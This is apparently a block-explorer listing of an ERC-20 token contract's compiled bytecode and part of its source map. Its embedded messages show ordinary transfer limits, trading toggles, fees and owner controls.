766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106f5565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a2c848461085b565b90506000198114610a945781811015610a875760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106f5565b610a9484848484036108fc565b50505050565b6001600160a01b038316610ac05760405162461bcd60e51b81526004016106f59061155e565b6001600160a01b038216610ae65760405162461bcd60e51b81526004016106f5906115a3565b80600003610aff57610afa8383600061112e565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610b4157506001600160a01b03831660009081526015602052604090205460ff16155b9050610b556005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610b8457506005546001600160a01b03848116911614155b8015610b9857506001600160a01b03831615155b8015610baf57506001600160a01b03831661dead14155b8015610bc55750600854600160a01b900460ff16155b15610eaa5760105460ff16610c58576001600160a01b03841660009081526013602052604090205460ff1680610c1357506001600160a01b03831660009081526013602052604090205460ff165b610c585760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106f5565b6001600160a01b03841660009081526015602052604090205460ff168015610c9957506001600160a01b03831660009081526014602052604090205460ff16155b15610d7357600d54821115610d045760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b60648201526084016106f5565b600e546001600160a01b038416600090815260208190526040902054610d2a908461154b565b1115610d6e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b610eaa565b6001600160a01b03831660009081526015602052604090205460ff168015610db457506001600160a01b03841660009081526014602052604090205460ff16155b15610e2057600d54821115610d6e5760405162461bcd60e51b815260206004820152602c60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526b1036b0bc2a393729b4bd329760a11b60648201526084016106f5565b6001600160a01b03831660009081526014602052604090205460ff16610eaa57600e546001600160a01b038416600090815260208190526040902054610e66908461154b565b1115610eaa5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b306000908152602081905260409020548115808015610ed35750600854600160a01b900460ff16155b8015610ef857506001600160a01b03861660009081526015602052604090205460ff16155b8015610f1d57506001600160a01b03861660009081526013602052604090205460ff16155b8015610f4257506001600160a01b03851660009081526013602052604090205460ff16155b15610f7a576008805460ff60a01b1916600160a01b179055610f6384611258565b610f6c47611347565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015610f95575083155b6001600160a01b03881660009081526013602052604090205490915060ff1680610fd757506001600160a01b03861660009081526013602052604090205460ff165b15610fe0575060005b6000811561106d576001600160a01b03871660009081526015602052604090205460ff16156110305761102960646110236012548961138190919063ffffffff16565b90611394565b905061104d565b61104a60646110236011548961138190919063ffffffff16565b90505b8015611060576110608861dead8361112e565b61106a81876115e6565b95505b61107888888861112e565b5050505050505050565b6005546001600160a01b0316331461073c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106f5565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111545760405162461bcd60e51b81526004016106f59061155e565b6001600160a01b03821661117a5760405162461bcd60e51b81526004016106f5906115a3565b6001600160a01b038316600090815260208190526040902054818110156111f25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106f5565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610a94565b306000908152602081905260408120549081810361127557505050565b601254601154611285919061154b565b6000036112e55760008211801561129d5750600f5482105b156112a757505050565b60006112c360646110236012548761138190919063ffffffff16565b90506112cf81856115e6565b9350600f54841115610a9457600f549150610a94565b6000821180156113015750600f546112fe906005611394565b82105b1561130b57505050565b6000821180156113275750600f54611324906005611394565b82115b80156113345750600f5482105b156112a757600f54610a94906005611394565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610726573d6000803e3d6000fd5b600061138d82846115f9565b9392505050565b600061138d8284611610565b60006020808352835180602085015260005b818110156113ce578581018301518582016040015282016113b2565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461140657600080fd5b919050565b6000806040838503121561141e57600080fd5b611427836113ef565b946020939093013593505050565b60008060006060848603121561144a57600080fd5b611453846113ef565b9250611461602085016113ef565b9150604084013590509250925092565b6000806040838503121561148457600080fd5b61148d836113ef565b9150602083013580151581146114a257600080fd5b809150509250929050565b6000602082840312156114bf57600080fd5b61138d826113ef565b600080604083850312156114db57600080fd5b6114e4836113ef565b91506114f2602084016113ef565b90509250929050565b600181811c9082168061150f57607f821691505b60208210810361152f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561062157610621611535565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561062157610621611535565b808202811582820484141761062157610621611535565b60008261162d57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122082d53b50cc723f0ae05b146b06078ea6ccc0d36c0af650bd75c2e1f25f26075c64736f6c63430008160033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c806383fd0367116100f7578063a457c2d711610095578063dd62ed3e11610064578063dd62ed3e1461050b578063dfcde7641461052b578063e2f4560514610545578063f2fde38b1461055b57600080fd5b8063a457c2d7146104a0578063a9059cbb146104c0578063b474e91d146104e0578063c9567bf9146104f657600080fd5b80638da5cb5b116100d15780638da5cb5b146104415780638f3fa8601461045f57806393f9da911461047557806395d89b411461048b57600080fd5b806383fd03671461040057806389291a8f146104165780638a50e0e21461042b57600080fd5b80634113c32d1161016f578063629b05f01161013e578063629b05f01461038a57806370a08231146103a0578063715018a6146103d6578063751039fc146103eb57600080fd5b80634113c32d146102cd57806347bdc57e146102e35780634fbee19314610305578063583e05681461033e57600080fd5b806318160ddd116101ab57806318160ddd1461025c57806323b872dd14610271578063313ce5671461029157806339509351146102ad57600080fd5b806306fdde03146101dd578063095ea7b3146102085780630a910d1f1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261057b565b6040516101ff91906113a0565b60405180910390f35b34801561021457600080fd5b5061022861022336600461140b565b61060d565b60405190151581526020016101ff565b34801561024457600080fd5b5061024e60115481565b6040519081526020016101ff565b34801561026857600080fd5b5060025461024e565b34801561027d57600080fd5b5061022861028c366004611435565b610627565b34801561029d57600080fd5b50604051600981526020016101ff565b3480156102b957600080fd5b506102286102c836600461140b565b61064b565b3480156102d957600080fd5b5061024e600a5481565b3480156102ef57600080fd5b506103036102fe366004611471565b61066d565b005b34801561031157600080fd5b506102286103203660046114ad565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561034a57600080fd5b506103727f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace81565b6040516001600160a01b0390911681526020016101ff565b34801561039657600080fd5b5061024e60095481565b3480156103ac57600080fd5b5061024e6103bb3660046114ad565b6001600160a01b031660009081526020819052604090205490565b3480156103e257600080fd5b5061030361072a565b3480156103f757600080fd5b5061030361073e565b34801561040c57600080fd5b5061024e60125481565b34801561042257600080fd5b5061030361075d565b34801561043757600080fd5b5061024e600d5481565b34801561044d57600080fd5b506005546001600160a01b0316610372565b34801561046b57600080fd5b5061024e600e5481565b34801561048157600080fd5b5061024e600c5481565b34801561049757600080fd5b506101f26107ac565b3480156104ac57600080fd5b506102286104bb36600461140b565b6107bb565b3480156104cc57600080fd5b506102286104db36600461140b565b610836565b3480156104ec57600080fd5b5061024e600b5481565b34801561050257600080fd5b50610303610844565b34801561051757600080fd5b5061024e6105263660046114c8565b61085b565b34801561053757600080fd5b506010546102289060ff1681565b34801561055157600080fd5b5061024e600f5481565b34801561056757600080fd5b506103036105763660046114ad565b610886565b60606003805461058a906114fb565b80601f01602080910402602001604051908101604052809291908181526020018280546105b6906114fb565b80156106035780601f106105d857610100808354040283529160200191610603565b820191906000526020600020905b8154815290600101906020018083116105e657829003601f168201915b5050505050905090565b60003361061b8185856108fc565b60019150505b92915050565b600033610635858285610a20565b610640858585610a9a565b506001949350505050565b60003361061b81858561065e838361085b565b610668919061154b565b6108fc565b610675611082565b6006546001600160a01b03908116908316036106fe5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215151790555050565b5050565b610732611082565b61073c60006110dc565b565b610746611082565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461077d57600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107a9573d6000803e3d6000fd5b50565b60606004805461058a906114fb565b600033816107c9828661085b565b9050838110156108295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106f5565b61064082868684036108fc565b60003361061b818585610a9a565b61084c611082565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61088e611082565b6001600160a01b0381166108f35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f5565b6107a9816110dc565b6001600160a01b03831661095e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106f5565b6001600160a01b0382166109bf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106f5565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a2c848461085b565b90506000198114610a945781811015610a875760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106f5565b610a9484848484036108fc565b50505050565b6001600160a01b038316610ac05760405162461bcd60e51b81526004016106f59061155e565b6001600160a01b038216610ae65760405162461bcd60e51b81526004016106f5906115a3565b80600003610aff57610afa8383600061112e565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610b4157506001600160a01b03831660009081526015602052604090205460ff16155b9050610b556005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610b8457506005546001600160a01b03848116911614155b8015610b9857506001600160a01b03831615155b8015610baf57506001600160a01b03831661dead14155b8015610bc55750600854600160a01b900460ff16155b15610eaa5760105460ff16610c58576001600160a01b03841660009081526013602052604090205460ff1680610c1357506001600160a01b03831660009081526013602052604090205460ff165b610c585760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106f5565b6001600160a01b03841660009081526015602052604090205460ff168015610c9957506001600160a01b03831660009081526014602052604090205460ff16155b15610d7357600d54821115610d045760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b60648201526084016106f5565b600e546001600160a01b038416600090815260208190526040902054610d2a908461154b565b1115610d6e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b610eaa565b6001600160a01b03831660009081526015602052604090205460ff168015610db457506001600160a01b03841660009081526014602052604090205460ff16155b15610e2057600d54821115610d6e5760405162461bcd60e51b815260206004820152602c60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526b1036b0bc2a393729b4bd329760a11b60648201526084016106f5565b6001600160a01b03831660009081526014602052604090205460ff16610eaa57600e546001600160a01b038416600090815260208190526040902054610e66908461154b565b1115610eaa5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b306000908152602081905260409020548115808015610ed35750600854600160a01b900460ff16155b8015610ef857506001600160a01b03861660009081526015602052604090205460ff16155b8015610f1d57506001600160a01b03861660009081526013602052604090205460ff16155b8015610f4257506001600160a01b03851660009081526013602052604090205460ff16155b15610f7a576008805460ff60a01b1916600160a01b179055610f6384611258565b610f6c47611347565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015610f95575083155b6001600160a01b03881660009081526013602052604090205490915060ff1680610fd757506001600160a01b03861660009081526013602052604090205460ff165b15610fe0575060005b6000811561106d576001600160a01b03871660009081526015602052604090205460ff16156110305761102960646110236012548961138190919063ffffffff16565b90611394565b905061104d565b61104a60646110236011548961138190919063ffffffff16565b90505b8015611060576110608861dead8361112e565b61106a81876115e6565b95505b61107888888861112e565b5050505050505050565b6005546001600160a01b0316331461073c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106f5565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166111545760405162461bcd60e51b81526004016106f59061155e565b6001600160a01b03821661117a5760405162461bcd60e51b81526004016106f5906115a3565b6001600160a01b038316600090815260208190526040902054818110156111f25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106f5565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610a94565b306000908152602081905260408120549081810361127557505050565b601254601154611285919061154b565b6000036112e55760008211801561129d5750600f5482105b156112a757505050565b60006112c360646110236012548761138190919063ffffffff16565b90506112cf81856115e6565b9350600f54841115610a9457600f549150610a94565b6000821180156113015750600f546112fe906005611394565b82105b1561130b57505050565b6000821180156113275750600f54611324906005611394565b82115b80156113345750600f5482105b156112a757600f54610a94906005611394565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610726573d6000803e3d6000fd5b600061138d82846115f9565b9392505050565b600061138d8284611610565b60006020808352835180602085015260005b818110156113ce578581018301518582016040015282016113b2565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461140657600080fd5b919050565b6000806040838503121561141e57600080fd5b611427836113ef565b946020939093013593505050565b60008060006060848603121561144a57600080fd5b611453846113ef565b9250611461602085016113ef565b9150604084013590509250925092565b6000806040838503121561148457600080fd5b61148d836113ef565b9150602083013580151581146114a257600080fd5b809150509250929050565b6000602082840312156114bf57600080fd5b61138d826113ef565b600080604083850312156114db57600080fd5b6114e4836113ef565b91506114f2602084016113ef565b90509250929050565b600181811c9082168061150f57607f821691505b60208210810361152f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561062157610621611535565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561062157610621611535565b808202811582820484141761062157610621611535565b60008261162d57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122082d53b50cc723f0ae05b146b06078ea6ccc0d36c0af650bd75c2e1f25f26075c64736f6c63430008160033

Deployed Bytecode Sourcemap

14591:7658:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9237:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10168:201;;;;;;;;;;-1:-1:-1;10168:201:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;10168:201:0;1004:187:1;15359:26:0;;;;;;;;;;;;;;;;;;;1342:25:1;;;1330:2;1315:18;15359:26:0;1196:177:1;9557:108:0;;;;;;;;;;-1:-1:-1;9645:12:0;;9557:108;;10377:295;;;;;;;;;;-1:-1:-1;10377:295:0;;;;;:::i;:::-;;:::i;9457:92::-;;;;;;;;;;-1:-1:-1;9457:92:0;;9540:1;1853:36:1;;1841:2;1826:18;9457:92:0;1711:184:1;10680:238:0;;;;;;;;;;-1:-1:-1;10680:238:0;;;;;:::i;:::-;;:::i;15036:49::-;;;;;;;;;;;;;;;;17467:226;;;;;;;;;;-1:-1:-1;17467:226:0;;;;;:::i;:::-;;:::i;:::-;;17839:126;;;;;;;;;;-1:-1:-1;17839:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;17929:28:0;17905:4;17929:28;;;:19;:28;;;;;;;;;17839:126;14671:52;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2632:32:1;;;2614:51;;2602:2;2587:18;14671:52:0;2443:228:1;14980:47:0;;;;;;;;;;;;;;;;9673:127;;;;;;;;;;-1:-1:-1;9673:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9774:18:0;9747:7;9774:18;;;;;;;;;;;;9673:127;8312:103;;;;;;;;;;;;;:::i;20438:169::-;;;;;;;;;;;;;:::i;15392:27::-;;;;;;;;;;;;;;;;20615:156;;;;;;;;;;;;;:::i;15211:25::-;;;;;;;;;;;;;;;;8077:87;;;;;;;;;;-1:-1:-1;8150:6:0;;-1:-1:-1;;;;;8150:6:0;8077:87;;15243:28;;;;;;;;;;;;;;;;15152:50;;;;;;;;;;;;;;;;9345:104;;;;;;;;;;;;;:::i;10926:436::-;;;;;;;;;;-1:-1:-1;10926:436:0;;;;;:::i;:::-;;:::i;9808:193::-;;;;;;;;;;-1:-1:-1;9808:193:0;;;;;:::i;:::-;;:::i;15092:53::-;;;;;;;;;;;;;;;;17050:80;;;;;;;;;;;;;:::i;10009:151::-;;;;;;;;;;-1:-1:-1;10009:151:0;;;;;:::i;:::-;;:::i;15320:30::-;;;;;;;;;;-1:-1:-1;15320:30:0;;;;;;;;15278:33;;;;;;;;;;;;;;;;8423:201;;;;;;;;;;-1:-1:-1;8423:201:0;;;;;:::i;:::-;;:::i;9237:100::-;9291:13;9324:5;9317:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9237:100;:::o;10168:201::-;10251:4;628:10;10307:32;628:10;10323:7;10332:6;10307:8;:32::i;:::-;10357:4;10350:11;;;10168:201;;;;;:::o;10377:295::-;10508:4;628:10;10566:38;10582:4;628:10;10597:6;10566:15;:38::i;:::-;10615:27;10625:4;10631:2;10635:6;10615:9;:27::i;:::-;-1:-1:-1;10660:4:0;;10377:295;-1:-1:-1;;;;10377:295:0:o;10680:238::-;10768:4;628:10;10824:64;628:10;10840:7;10877:10;10849:25;628:10;10840:7;10849:9;:25::i;:::-;:38;;;;:::i;:::-;10824:8;:64::i;17467:226::-;8036:13;:11;:13::i;:::-;17558::::1;::::0;-1:-1:-1;;;;;17558:13:0;;::::1;17550:21:::0;;::::1;::::0;17542:91:::1;;;::::0;-1:-1:-1;;;17542:91:0;;3998:2:1;17542:91:0::1;::::0;::::1;3980:21:1::0;4037:2;4017:18;;;4010:30;4076:34;4056:18;;;4049:62;4147:27;4127:18;;;4120:55;4192:19;;17542:91:0::1;;;;;;;;;-1:-1:-1::0;;;;;17784:31:0;;;;;;:25;:31;;;;;:39;;-1:-1:-1;;17784:39:0;;;;;;;17467:226;;:::o;17644:41::-:1;17467:226:::0;;:::o;8312:103::-;8036:13;:11;:13::i;:::-;8377:30:::1;8404:1;8377:18;:30::i;:::-;8312:103::o:0;20438:169::-;8036:13;:11;:13::i;:::-;20505:12:::1;::::0;20492:10:::1;:25:::0;;;20528:13:::1;:28:::0;-1:-1:-1;20567:6:0::1;:10:::0;;;20588:7:::1;:11:::0;20438:169::o;20615:156::-;20684:16;;-1:-1:-1;;;;;20684:16:0;628:10;-1:-1:-1;;;;;20668:32:0;;20660:41;;;;;;20712:51;;20720:10;;20741:21;20712:51;;;;;;;;;20741:21;20720:10;20712:51;;;;;;;;;;;;;;;;;;;;;20615:156::o;9345:104::-;9401:13;9434:7;9427:14;;;;;:::i;10926:436::-;11019:4;628:10;11019:4;11102:25;628:10;11119:7;11102:9;:25::i;:::-;11075:52;;11166:15;11146:16;:35;;11138:85;;;;-1:-1:-1;;;11138:85:0;;4424:2:1;11138:85:0;;;4406:21:1;4463:2;4443:18;;;4436:30;4502:34;4482:18;;;4475:62;-1:-1:-1;;;4553:18:1;;;4546:35;4598:19;;11138:85:0;4222:401:1;11138:85:0;11259:60;11268:5;11275:7;11303:15;11284:16;:34;11259:8;:60::i;9808:193::-;9887:4;628:10;9943:28;628:10;9960:2;9964:6;9943:9;:28::i;17050:80::-;8036:13;:11;:13::i;:::-;17105:10:::1;:17:::0;;-1:-1:-1;;17105:17:0::1;17118:4;17105:17;::::0;;17050:80::o;10009:151::-;-1:-1:-1;;;;;10125:18:0;;;10098:7;10125:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10009:151::o;8423:201::-;8036:13;:11;:13::i;:::-;-1:-1:-1;;;;;8512:22:0;::::1;8504:73;;;::::0;-1:-1:-1;;;8504:73:0;;4830:2:1;8504:73:0::1;::::0;::::1;4812:21:1::0;4869:2;4849:18;;;4842:30;4908:34;4888:18;;;4881:62;-1:-1:-1;;;4959:18:1;;;4952:36;5005:19;;8504:73:0::1;4628:402:1::0;8504:73:0::1;8588:28;8607:8;8588:18;:28::i;13478:380::-:0;-1:-1:-1;;;;;13614:19:0;;13606:68;;;;-1:-1:-1;;;13606:68:0;;5237:2:1;13606:68:0;;;5219:21:1;5276:2;5256:18;;;5249:30;5315:34;5295:18;;;5288:62;-1:-1:-1;;;5366:18:1;;;5359:34;5410:19;;13606:68:0;5035:400:1;13606:68:0;-1:-1:-1;;;;;13693:21:0;;13685:68;;;;-1:-1:-1;;;13685:68:0;;5642:2:1;13685:68:0;;;5624:21:1;5681:2;5661:18;;;5654:30;5720:34;5700:18;;;5693:62;-1:-1:-1;;;5771:18:1;;;5764:32;5813:19;;13685:68:0;5440:398:1;13685:68:0;-1:-1:-1;;;;;13766:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13818:32;;1342:25:1;;;13818:32:0;;1315:18:1;13818:32:0;;;;;;;13478:380;;;:::o;13866:453::-;14001:24;14028:25;14038:5;14045:7;14028:9;:25::i;:::-;14001:52;;-1:-1:-1;;14068:16:0;:37;14064:248;;14150:6;14130:16;:26;;14122:68;;;;-1:-1:-1;;;14122:68:0;;6045:2:1;14122:68:0;;;6027:21:1;6084:2;6064:18;;;6057:30;6123:31;6103:18;;;6096:59;6172:18;;14122:68:0;5843:353:1;14122:68:0;14234:51;14243:5;14250:7;14278:6;14259:16;:25;14234:8;:51::i;:::-;13990:329;13866:453;;;:::o;17973:2458::-;-1:-1:-1;;;;;18073:18:0;;18065:68;;;;-1:-1:-1;;;18065:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18152:16:0;;18144:64;;;;-1:-1:-1;;;18144:64:0;;;;;;;:::i;:::-;18225:6;18235:1;18225:11;18221:93;;18253:28;18269:4;18275:2;18279:1;18253:15;:28::i;:::-;17973:2458;;;:::o;18221:93::-;-1:-1:-1;;;;;18351:31:0;;18332:15;18351:31;;;:25;:31;;;;;;;;18350:32;:66;;;;-1:-1:-1;;;;;;18387:29:0;;;;;;:25;:29;;;;;;;;18386:30;18350:66;18332:84;;18449:7;8150:6;;-1:-1:-1;;;;;8150:6:0;;8077:87;18449:7;-1:-1:-1;;;;;18441:15:0;:4;-1:-1:-1;;;;;18441:15:0;;;:32;;;;-1:-1:-1;8150:6:0;;-1:-1:-1;;;;;18460:13:0;;;8150:6;;18460:13;;18441:32;:52;;;;-1:-1:-1;;;;;;18477:16:0;;;;18441:52;:77;;;;-1:-1:-1;;;;;;18497:21:0;;18511:6;18497:21;;18441:77;:88;;;;-1:-1:-1;18523:6:0;;-1:-1:-1;;;18523:6:0;;;;18522:7;18441:88;18437:974;;;18557:10;;;;18552:147;;-1:-1:-1;;;;;18600:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;18629:23:0;;;;;;:19;:23;;;;;;;;18600:52;18592:87;;;;-1:-1:-1;;;18592:87:0;;7213:2:1;18592:87:0;;;7195:21:1;7252:2;7232:18;;;7225:30;-1:-1:-1;;;7271:18:1;;;7264:52;7333:18;;18592:87:0;7011:346:1;18592:87:0;-1:-1:-1;;;;;18723:31:0;;;;;;:25;:31;;;;;;;;:54;;;;-1:-1:-1;;;;;;18759:18:0;;;;;;:14;:18;;;;;;;;18758:19;18723:54;18719:677;;;18838:10;;18828:6;:20;;18820:76;;;;-1:-1:-1;;;18820:76:0;;7564:2:1;18820:76:0;;;7546:21:1;7603:2;7583:18;;;7576:30;7642:34;7622:18;;;7615:62;-1:-1:-1;;;7693:18:1;;;7686:41;7744:19;;18820:76:0;7362:407:1;18820:76:0;18953:13;;-1:-1:-1;;;;;9774:18:0;;9747:7;9774:18;;;;;;;;;;;18927:22;;:6;:22;:::i;:::-;:39;;18919:71;;;;-1:-1:-1;;;18919:71:0;;7976:2:1;18919:71:0;;;7958:21:1;8015:2;7995:18;;;7988:30;-1:-1:-1;;;8034:18:1;;;8027:49;8093:18;;18919:71:0;7774:343:1;18919:71:0;18719:677;;;-1:-1:-1;;;;;19039:29:0;;;;;;:25;:29;;;;;;;;:54;;;;-1:-1:-1;;;;;;19073:20:0;;;;;;:14;:20;;;;;;;;19072:21;19039:54;19035:361;;;19136:10;;19126:6;:20;;19118:77;;;;-1:-1:-1;;;19118:77:0;;8324:2:1;19118:77:0;;;8306:21:1;8363:2;8343:18;;;8336:30;8402:34;8382:18;;;8375:62;-1:-1:-1;;;8453:18:1;;;8446:42;8505:19;;19118:77:0;8122:408:1;19035:361:0;-1:-1:-1;;;;;19262:18:0;;;;;;:14;:18;;;;;;;;19257:139;;19339:13;;-1:-1:-1;;;;;9774:18:0;;9747:7;9774:18;;;;;;;;;;;19313:22;;:6;:22;:::i;:::-;:39;;19305:71;;;;-1:-1:-1;;;19305:71:0;;7976:2:1;19305:71:0;;;7958:21:1;8015:2;7995:18;;;7988:30;-1:-1:-1;;;8034:18:1;;;8027:49;8093:18;;19305:71:0;7774:343:1;19305:71:0;19472:4;19423:28;9774:18;;;;;;;;;;;19535:11;;;19563:18;;;;-1:-1:-1;19575:6:0;;-1:-1:-1;;;19575:6:0;;;;19574:7;19563:18;:54;;;;-1:-1:-1;;;;;;19586:31:0;;;;;;:25;:31;;;;;;;;19585:32;19563:54;:84;;;;-1:-1:-1;;;;;;19622:25:0;;;;;;:19;:25;;;;;;;;19621:26;19563:84;:112;;;;-1:-1:-1;;;;;;19652:23:0;;;;;;:19;:23;;;;;;;;19651:24;19563:112;19559:268;;;19692:6;:13;;-1:-1:-1;;;;19692:13:0;-1:-1:-1;;;19692:13:0;;;19720:16;19729:6;19720:8;:16::i;:::-;19751:35;19764:21;19751:12;:35::i;:::-;19801:6;:14;;-1:-1:-1;;;;19801:14:0;;;19559:268;19855:6;;19839:12;;-1:-1:-1;;;19855:6:0;;;;19854:7;:22;;;;;19866:10;19865:11;19854:22;-1:-1:-1;;;;;19893:25:0;;;;;;:19;:25;;;;;;19839:37;;-1:-1:-1;19893:25:0;;;:52;;-1:-1:-1;;;;;;19922:23:0;;;;;;:19;:23;;;;;;;;19893:52;19889:100;;;-1:-1:-1;19972:5:0;19889:100;20001:12;20034:7;20030:350;;;-1:-1:-1;;;;;20062:29:0;;;;;;:25;:29;;;;;;;;20058:193;;;20119:28;20143:3;20119:19;20130:7;;20119:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;20112:35;;20058:193;;;20208:27;20231:3;20208:18;20219:6;;20208;:10;;:18;;;;:::i;:27::-;20201:34;;20058:193;20267:8;;20263:85;;20292:44;20308:4;20322:6;20331:4;20292:15;:44::i;:::-;20358:14;20368:4;20358:14;;:::i;:::-;;;20030:350;20390:33;20406:4;20412:2;20416:6;20390:15;:33::i;:::-;18052:2379;;;;;17973:2458;;;:::o;8172:132::-;8150:6;;-1:-1:-1;;;;;8150:6:0;628:10;8236:23;8228:68;;;;-1:-1:-1;;;8228:68:0;;8870:2:1;8228:68:0;;;8852:21:1;;;8889:18;;;8882:30;8948:34;8928:18;;;8921:62;9000:18;;8228:68:0;8668:356:1;8632:191:0;8725:6;;;-1:-1:-1;;;;;8742:17:0;;;-1:-1:-1;;;;;;8742:17:0;;;;;;;8775:40;;8725:6;;;8742:17;8725:6;;8775:40;;8706:16;;8775:40;8695:128;8632:191;:::o;11370:675::-;-1:-1:-1;;;;;11501:18:0;;11493:68;;;;-1:-1:-1;;;11493:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11580:16:0;;11572:64;;